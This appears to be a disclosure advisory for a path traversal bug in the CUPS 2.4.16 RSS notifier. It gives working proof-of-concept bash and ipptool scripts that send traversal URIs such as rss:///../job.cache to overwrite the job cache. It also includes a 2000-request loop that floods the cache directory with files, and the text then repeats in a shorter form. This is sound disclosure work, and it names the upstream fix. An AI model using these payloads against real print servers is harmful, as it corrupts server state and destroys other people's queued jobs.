Summary
CUPS 2.4.16’s RSS notifier allows .. path traversal in notify-recipient-uri (e.g., rss:///../job.cache), letting a remote IPP client write RSS XML bytes outside CacheDir/rss (anywhere that is lp-writable). In particular, because CacheDir is group-writable by default (typically root:lp and mode 0770), the notifier (running as lp) can replace root-managed state files via temp-file + rename(). This PoC clobbers CacheDir/job.cache with RSS XML, and after restarting cupsd the scheduler fails to parse the job cache and previously queued jobs disappear.
Details
Root cause is "unsafe path join + rename" on an attacker-controlled URI resource:
scheduler/ipp.c: subscription attributes (including notify-recipient-uri) are accepted either (a) in a Print-Job request’s subscription group or (b) via a separate Create-Printer-Subscription(s) request. The scheme is validated against an on-disk notifier program, but the resource path is not normalized (no .. removal).
scheduler/subscriptions.c: the full notify-recipient-uri is passed to the notifier as argv[1].
notifier/rss.c: for local RSS feeds, the notifier constructs the output path as:
filename = "<CacheDir>/rss" + resource
- writes to
filename.N, then rename(filename.N, filename)
This allows resource="/../job.cache" to target <CacheDir>/job.cache (outside CacheDir/rss).
cups/http-support.c: httpSeparateURI() decodes/copies the resource without dot-segment normalization, so .. survives into resource.
- Default permissions make this high impact: CUPS sets
CacheDir to be group-writable (root:lp, 0770 - see scheduler/conf.c). With directory write permission and no sticky bit, a process running as lp can replace an existing root-owned 0640 file in that directory using rename().
PoC
Bare minimum repro
This is a short script to demonstrate arbitrary-writable-location file write and job.cache clobbering. The setup and the request to 127.0.0.1 happens on the same box (recommend running this on a throwaway VM with CUPS 2.4.16 and no other [system] CUPS).
Bare minimum repro script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail
PREFIX=/opt/cups-2.4.16
BASE=/tmp/vh-cupsd
CACHEDIR=/var/cache/vh-cups-cache
OUT=/tmp/vh-rss-out.xml
sudo pkill -KILL -f "$PREFIX/sbin/[c]upsd" 2>/dev/null || true
sudo rm -rf "$BASE" "$CACHEDIR" 2>/dev/null || true
sudo rm -f "$OUT" 2>/dev/null || true
sudo mkdir -p "$BASE/etc/cups" "$BASE/run/cups" "$BASE/spool/cups/tmp" "$CACHEDIR/rss"
sudo chown root:lp "$CACHEDIR" "$CACHEDIR/rss"
sudo chmod 0770 "$CACHEDIR"
sudo chmod 0775 "$CACHEDIR/rss"
sudo install -o root -g lp -m 0640 /dev/null "$CACHEDIR/job.cache"
sudo tee "$BASE/etc/cups/cups-files.conf" >/dev/null <<CFG
SystemGroup sys root wheel
ServerRoot $BASE/etc/cups
StateDir $BASE/run/cups
RequestRoot $BASE/spool/cups
TempDir $BASE/spool/cups/tmp
CacheDir $CACHEDIR
DataDir $PREFIX/share/cups
DocumentRoot $PREFIX/share/doc/cups
ServerBin $PREFIX/lib/cups
AccessLog $BASE/run/cups/access_log
ErrorLog $BASE/run/cups/error_log
PageLog $BASE/run/cups/page_log
CFG
sudo tee "$BASE/etc/cups/cupsd.conf" >/dev/null <<CFG
LogLevel debug2
MaxLogSize 0
Listen 127.0.0.1:631
Listen $BASE/run/cups/cups.sock
Browsing No
BrowseLocalProtocols none
DefaultAuthType Basic
HostNameLookups Off
WebInterface Yes
<Location />
Order allow,deny
Allow from all
</Location>
CFG
sudo bash -lc "nohup $PREFIX/sbin/[c]upsd -C $BASE/etc/cups/cupsd.conf -s $BASE/etc/cups/cups-files.conf >/dev/null 2>&1 &"
for _ in $(seq 1 50); do
if timeout 1 bash -lc "</dev/tcp/127.0.0.1/631" 2>/dev/null; then
break
fi
sleep 0.1
done
CUPS_SERVER="$BASE/run/cups/cups.sock" \
"$PREFIX/sbin/lpadmin" -p p1 -E -v file:/dev/null -m raw
TMP=$(mktemp -d /tmp/vh-rss-min-XXXXXX)
cat >"$TMP/payload.txt" <<PAY
hello
PAY
cat >"$TMP/poc.test" <<TEST
{
OPERATION Print-Job
GROUP operation
ATTR charset attributes-charset utf-8
ATTR language attributes-natural-language en
ATTR uri printer-uri \$uri
GROUP job
ATTR name job-name "vh-rss"
GROUP subscription
ATTR uri notify-recipient-uri "\$notify"
ATTR keyword notify-events job-completed
FILE \$filename
STATUS successful-ok
}
TEST
"$PREFIX/bin/ipptool" -q \
-d uri="ipp://127.0.0.1:631/printers/p1" \
-d filename="$TMP/payload.txt" \
-d notify="rss:///../job.cache" \
"$TMP/poc.test"
"$PREFIX/bin/ipptool" -q \
-d uri="ipp://127.0.0.1:631/printers/p1" \
-d filename="$TMP/payload.txt" \
-d notify="rss:///../../../../tmp/vh-rss-out.xml" \
"$TMP/poc.test"
# Wait for the xml headers to appear
for _ in $(seq 1 50); do
if sudo head -n 1 "$CACHEDIR/job.cache" 2>/dev/null | grep -q "^<?xml" && head -n 1 "$OUT" 2>/dev/null | grep -q "^<?xml"; then
break
fi
sleep 0.1
done
echo "Overwritten job cache and a random file:"
sudo ls -l "$CACHEDIR/job.cache" "$OUT"
echo
echo "Job cache is now XML:"
sudo head -n 2 "$CACHEDIR/job.cache"
echo
echo "The random file is also XML:"
head -n 2 "$OUT"
Sample output (Click to expand)
lpadmin: Raw queues are deprecated and will stop working in a future version of CUPS.
Overwritten job cache and a random file:
-rw-r--r--. 1 lp lp 589 Feb 5 04:00 /tmp/vh-rss-out.xml
-rw-r--r--. 1 lp lp 571 Feb 5 04:00 /var/cache/vh-cups-cache/job.cache
Job cache is now XML:
<?xml version="1.0"?>
<rss version="2.0">
The random file is also XML:
<?xml version="1.0"?>
<rss version="2.0">
More advanced repro
Below are two scripts: server-side and attacker-side. While both can run on the same host just as in the minimal repro above, you can run them on two separate networked hosts and demonstrate the PoC over the network. The PoC is a bit longer, to demonstrate not just a file write in an arbitrary (lp-writable) location, but also a reliable clobbering (and ownership change) of the CUPS job cache, resulting in queued jobs getting dropped.
Server-side (CUPS host)
This script resets job.cache, starts the test cupsd, creates a printer, waits for the attacker to clobber job.cache, then restarts cupsd to show the functional consequence (job list disappears + parse errors).
Server-side setup script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail
PREFIX=/opt/cups-2.4.16
PRINTER=p1
PORT=631
SERVER_BASE=/tmp/vh-cupsd
CACHEDIR=/var/cache/vh-cups-cache
CONF="$SERVER_BASE/etc/cups/cupsd.conf"
FILES="$SERVER_BASE/etc/cups/cups-files.conf"
ERRLOG="$SERVER_BASE/run/cups/error_log"
SOCK="$SERVER_BASE/run/cups/cups.sock"
JOBCACHE="$CACHEDIR/job.cache"
REQUESTROOT="$SERVER_BASE/spool/cups"
# Clean slate (under /tmp/vh-cupsd and /var/cache/vh-cups-cache)
sudo pkill -KILL -f "$PREFIX/sbin/[c]upsd" 2>/dev/null || true
sudo rm -rf "$SERVER_BASE" 2>/dev/null || true
sudo rm -rf "$CACHEDIR" 2>/dev/null || true
sudo mkdir -p \
"$SERVER_BASE/etc/cups" \
"$SERVER_BASE/run/cups" \
"$SERVER_BASE/spool/cups/tmp" \
"$CACHEDIR/rss"
# Match default-ish perms: group-writable CacheDir (root:lp 0770, no sticky bit)
sudo chown root:lp "$CACHEDIR" "$CACHEDIR/rss"
sudo chmod 0770 "$CACHEDIR"
sudo chmod 0775 "$CACHEDIR/rss"
# Root-managed placeholder so the replacement is obvious.
sudo install -o root -g lp -m 0640 /dev/null "$JOBCACHE"
sudo tee "$FILES" >/dev/null <<CFG
SystemGroup sys root wheel
ServerRoot $SERVER_BASE/etc/cups
StateDir $SERVER_BASE/run/cups
RequestRoot $REQUESTROOT
TempDir $SERVER_BASE/spool/cups/tmp
CacheDir $CACHEDIR
DataDir $PREFIX/share/cups
DocumentRoot $PREFIX/share/doc/cups
ServerBin $PREFIX/lib/cups
AccessLog $SERVER_BASE/run/cups/access_log
ErrorLog $SERVER_BASE/run/cups/error_log
PageLog $SERVER_BASE/run/cups/page_log
CFG
sudo tee "$CONF" >/dev/null <<CFG
LogLevel debug2
MaxLogSize 0
Listen 0.0.0.0:$PORT
Listen $SOCK
Browsing No
BrowseLocalProtocols none
DefaultAuthType Basic
HostNameLookups Off
WebInterface Yes
<Location />
Order allow,deny
Allow from all
</Location>
<Policy default>
<Limit All>
Order deny,allow
</Limit>
</Policy>
CFG
sudo bash -lc "nohup $PREFIX/sbin/[c]upsd -C $CONF -s $FILES >$SERVER_BASE/run/cups/cupsd.start.out 2>&1 &"
for _ in $(seq 1 100); do
if timeout 1 bash -lc "</dev/tcp/127.0.0.1/$PORT" 2>/dev/null; then
break
fi
sleep 0.1
done
CUPS_SERVER="$SOCK" \
"$PREFIX/sbin/lpadmin" -p "$PRINTER" -E -v file:/dev/null -m raw
echo "SERVER_READY"
echo "Run attacker now: /home/vh/rss_attacker.sh <server-ip> $PORT $PRINTER"
echo
echo "Job cache before clobbering:"
sudo ls -l "$JOBCACHE"
echo "Watching for job.cache clobber (120s)..."
clobbered=0
for _ in $(seq 1 1200); do
if sudo test -f "$JOBCACHE" && sudo head -n 1 "$JOBCACHE" | grep -q "^<?xml"; then
clobbered=1
break
fi
sleep 0.1
done
echo "CLOBBERED_JOB_CACHE=$clobbered"
if [[ "$clobbered" != "1" ]]; then
echo "Did not catch the clobber window. Re-run the attacker script."
exit 1
fi
echo "Job cache after clobbering:"
sudo ls -l "$JOBCACHE"
sudo head -n 2 "$JOBCACHE"
# Give the attacker request time to fully finish before we restart cupsd.
sleep 0.2
jobs_before=$(timeout 5 "$PREFIX/bin/lpstat" -h 127.0.0.1:$PORT -W all -o 2>/dev/null | wc -l || true)
echo "Job before restart: $jobs_before"
echo
echo "Restarting cupsd (to demonstrate functional consequence)..."
sudo pkill -KILL -f "$PREFIX/sbin/[c]upsd -C $CONF -s $FILES" 2>/dev/null || true
sleep 0.2
sudo bash -lc "nohup $PREFIX/sbin/[c]upsd -C $CONF -s $FILES >$SERVER_BASE/run/cups/cupsd.restart.out 2>&1 &"
for _ in $(seq 1 100); do
if timeout 1 bash -lc "</dev/tcp/127.0.0.1/$PORT" 2>/dev/null; then
break
fi
sleep 0.1
done
jobs_after=$(timeout 5 "$PREFIX/bin/lpstat" -h 127.0.0.1:$PORT -W all -o 2>/dev/null | wc -l || true)
echo "Jobs after restart (should be 0): $jobs_after"
echo "Error log:"
sudo tail -n 200 "$ERRLOG" | grep -E "Loading job cache file|Missing <Job #> directive" | tail -n 30 || true
2) Attacker-side script (run on same host or a remote host)
This performs two unauthenticated IPP operations: (1) submit a held job (job-hold-until=indefinite) so a queued job exists then (2) after waiting 50s for cupsd to flush job state to disk, create an RSS printer subscription with notify-recipient-uri=rss:///../job.cache. This is done to more reliably demonstrate job.cache clobbering + resultant jobs queue reset.
Attacker-side script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail
if [[ $# -lt 1 ]]; then
echo "Usage: $0 <server-ip> [port] [printer]" >&2
exit 2
fi
TARGET_HOST="$1"
PORT="${2:-631}"
PRINTER="${3:-p1}"
IPPTOOL=/opt/cups-2.4.16/bin/ipptool
if [[ ! -x "$IPPTOOL" ]]; then
IPPTOOL=ipptool
fi
WORKDIR="$(mktemp -d /tmp/vh-client-XXXXXX)"
cat >"$WORKDIR/payload.txt" <<\PAY
hello
PAY
cat >"$WORKDIR/printjob-held.test" <<\TEST
{
OPERATION Print-Job
GROUP operation
ATTR charset attributes-charset utf-8
ATTR language attributes-natural-language en
ATTR uri printer-uri $uri
ATTR name requesting-user-name attacker
GROUP job
ATTR name job-name "vh-held"
ATTR keyword job-hold-until indefinite
FILE $filename
STATUS successful-ok
}
TEST
cat >"$WORKDIR/create-printer-subscription-rss.test" <<\TEST
{
OPERATION Create-Printer-Subscription
GROUP operation
ATTR charset attributes-charset utf-8
ATTR language attributes-natural-language en
ATTR uri printer-uri $uri
GROUP subscription
ATTR uri notify-recipient-uri "$notify"
ATTR keyword notify-events printer-state-changed
STATUS successful-ok
}
TEST
URI="ipp://${TARGET_HOST}:${PORT}/printers/${PRINTER}"
echo "Creating a held job so a c* file exists, necessary for more deterministic job.cache clobbering"
"$IPPTOOL" -q \
-d uri="$URI" \
-d filename="$WORKDIR/payload.txt" \
"$WORKDIR/printjob-held.test"
echo "Waiting 50s for cupsd to flush dirty job state (~30s by default)."
sleep 50
echo "Triggering clobber via a printer subscription..."
# Note: if this op is blocked, the same clobber works via Print-Job subscription attributes, just with less deterministic impact on CUPS
"$IPPTOOL" -q \
-d uri="$URI" \
-d notify="rss:///../job.cache" \
"$WORKDIR/create-printer-subscription-rss.test"
echo "SUBMIT_DONE"
echo "TARGET=$URI"
Sample output
Sample output (Click to expand)
./rss_setup.sh &
[1] 243429
lpadmin: Raw queues are deprecated and will stop working in a future version of CUPS.
SERVER_READY
Run attacker now: /home/vh/rss_attacker.sh <server-ip> 631 p1
Job cache before clobbering:
-rw-r-----. 1 root lp 0 Feb 5 03:37 /var/cache/vh-cups-cache/job.cache
Watching for job.cache clobber (120s)...
[vh@vh-golden ~]$ ./rss_attacker.sh 127.0.0.1 631 p1
Creating a held job so a c* file exists, necessary for more deterministic job.cache clobbering
Waiting 50s for cupsd to flush dirty job state (~30s by default).
Triggering clobber via a printer subscription...
SUBMIT_DONE
TARGET=ipp://127.0.0.1:631/printers/p1
[vh@vh-golden ~]$ CLOBBERED_JOB_CACHE=1
Job cache after clobbering:
-rw-r--r--. 1 lp lp 316 Feb 5 03:38 /var/cache/vh-cups-cache/job.cache
<?xml version="1.0"?>
<rss version="2.0">
Job before restart: 1
Restarting cupsd (to demonstrate functional consequence)...
Jobs after restart (should be 0): 0
Error log:
I [05/Feb/2026:03:38:18 +0000] Loading job cache file "/var/cache/vh-cups-cache/job.cache"...
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 1 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 2 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 3 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 4 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 5 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 6 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 7 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 8 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 9 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 10 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 11 of /var/cache/vh-cups-cache/job.cache.
[1]+ Done ./rss_setup.sh
Broader availability/DoS impact
In addition to clobbering job.cache, the same traversal can create persistent attacker-chosen files in CacheDir (outside CacheDir/rss). For example, re-run the attacker ipptool call in a loop like so:
DoS-lite script (Click to expand)
WORKDIR="$(mktemp -d /tmp/vh-client-XXXXXX)"
SERVER_IP=127.0.0.1
cat >"$WORKDIR/payload.txt" <<\PAY
hello
PAY
cat >"$WORKDIR/printjob-with-rss-template.test" <<\TEST
{
OPERATION Print-Job
GROUP operation
ATTR charset attributes-charset utf-8
ATTR language attributes-natural-language en
ATTR uri printer-uri $uri
ATTR name requesting-user-name attacker
GROUP job
ATTR name job-name "vh-rss"
GROUP subscription
ATTR uri notify-recipient-uri "$notify"
ATTR keyword notify-events job-completed
FILE $filename
}
TEST
for i in $(seq 1 2000); do
/opt/cups-2.4.16/bin/ipptool -q \
-d uri="ipp://$SERVER_IP:631/printers/p1" \
-d filename="$WORKDIR/payload.txt" \
-d notify="rss:///../vh-flood-$i.xml" \
$WORKDIR/printjob-with-rss-template.test
done
# On the server, assuming your cache dir is still set to /var/cache/vh-cups-cache; files will show up once jobs complete
sudo ls -la /var/cache/vh-cups-cache
To demonstrate a true DoS, you'd need to run long enough to exhaust disk/inodes, so I'd rate the Availability impact as low.
Impact
Vulnerability class: Path traversal leading to arbitrary file overwrite (as the notifier user, typically lp).
Who is impacted: Deployments where untrusted clients can submit IPP Print-Job requests with job subscriptions (including notify-recipient-uri), and where the RSS notifier is available (default).
Security impact:
- Integrity (High): clobber/replace root-managed state files inside
CacheDir (e.g., job.cache) via directory-writable rename logic, leading to persistent state corruption.
- Availability (Low): loss of queued job state across restart (jobs disappear) and startup parse errors. A stronger DoS is possible by repeated persistent file creation to exhaust disk/inodes in
CacheDir.
EDIT:
The vulnerability was fixed by Mike at the time of publishing it.
Fixes:
master af366b1 Fix RSS notifier.
2.4.x 730347c Fix RSS notifier.
Summary
CUPS 2.4.16’s RSS notifier allows
..path traversal innotify-recipient-uri(e.g.,rss:///../job.cache), letting a remote IPP client write RSS XML bytes outsideCacheDir/rss(anywhere that islp-writable). In particular, becauseCacheDiris group-writable by default (typicallyroot:lpand mode0770), the notifier (running aslp) can replace root-managed state files via temp-file +rename(). This PoC clobbersCacheDir/job.cachewith RSS XML, and after restartingcupsdthe scheduler fails to parse the job cache and previously queued jobs disappear.Details
Root cause is "unsafe path join + rename" on an attacker-controlled URI resource:
scheduler/ipp.c: subscription attributes (including notify-recipient-uri) are accepted either (a) in aPrint-Jobrequest’s subscription group or (b) via a separateCreate-Printer-Subscription(s)request. The scheme is validated against an on-disk notifier program, but the resource path is not normalized (no..removal).scheduler/subscriptions.c: the fullnotify-recipient-uriis passed to the notifier asargv[1].notifier/rss.c: for local RSS feeds, the notifier constructs the output path as:filename = "<CacheDir>/rss" + resourcefilename.N, thenrename(filename.N, filename)This allows
resource="/../job.cache"to target<CacheDir>/job.cache(outsideCacheDir/rss).cups/http-support.c:httpSeparateURI()decodes/copies the resource without dot-segment normalization, so..survives intoresource.CacheDirto be group-writable (root:lp,0770- seescheduler/conf.c). With directory write permission and no sticky bit, a process running aslpcan replace an existing root-owned0640file in that directory usingrename().PoC
Bare minimum repro
This is a short script to demonstrate arbitrary-writable-location file write and job.cache clobbering. The setup and the request to 127.0.0.1 happens on the same box (recommend running this on a throwaway VM with CUPS 2.4.16 and no other [system] CUPS).
Bare minimum repro script (Click to expand)
Sample output (Click to expand)
More advanced repro
Below are two scripts: server-side and attacker-side. While both can run on the same host just as in the minimal repro above, you can run them on two separate networked hosts and demonstrate the PoC over the network. The PoC is a bit longer, to demonstrate not just a file write in an arbitrary (lp-writable) location, but also a reliable clobbering (and ownership change) of the CUPS job cache, resulting in queued jobs getting dropped.
Server-side (CUPS host)
This script resets
job.cache, starts the testcupsd, creates a printer, waits for the attacker to clobberjob.cache, then restartscupsdto show the functional consequence (job list disappears + parse errors).Server-side setup script (Click to expand)
2) Attacker-side script (run on same host or a remote host)
This performs two unauthenticated IPP operations: (1) submit a held job (job-hold-until=indefinite) so a queued job exists then (2) after waiting 50s for cupsd to flush job state to disk, create an RSS printer subscription with notify-recipient-uri=rss:///../job.cache. This is done to more reliably demonstrate job.cache clobbering + resultant jobs queue reset.
Attacker-side script (Click to expand)
Sample output
Sample output (Click to expand)
Broader availability/DoS impact
In addition to clobbering
job.cache, the same traversal can create persistent attacker-chosen files inCacheDir(outsideCacheDir/rss). For example, re-run the attackeripptoolcall in a loop like so:DoS-lite script (Click to expand)
To demonstrate a true DoS, you'd need to run long enough to exhaust disk/inodes, so I'd rate the Availability impact as low.
Impact
Vulnerability class: Path traversal leading to arbitrary file overwrite (as the notifier user, typically
lp).Who is impacted: Deployments where untrusted clients can submit IPP
Print-Jobrequests with job subscriptions (includingnotify-recipient-uri), and where the RSS notifier is available (default).Security impact:
CacheDir(e.g.,job.cache) via directory-writable rename logic, leading to persistent state corruption.CacheDir.EDIT:
The vulnerability was fixed by Mike at the time of publishing it.
Fixes:
master af366b1 Fix RSS notifier.
2.4.x 730347c Fix RSS notifier.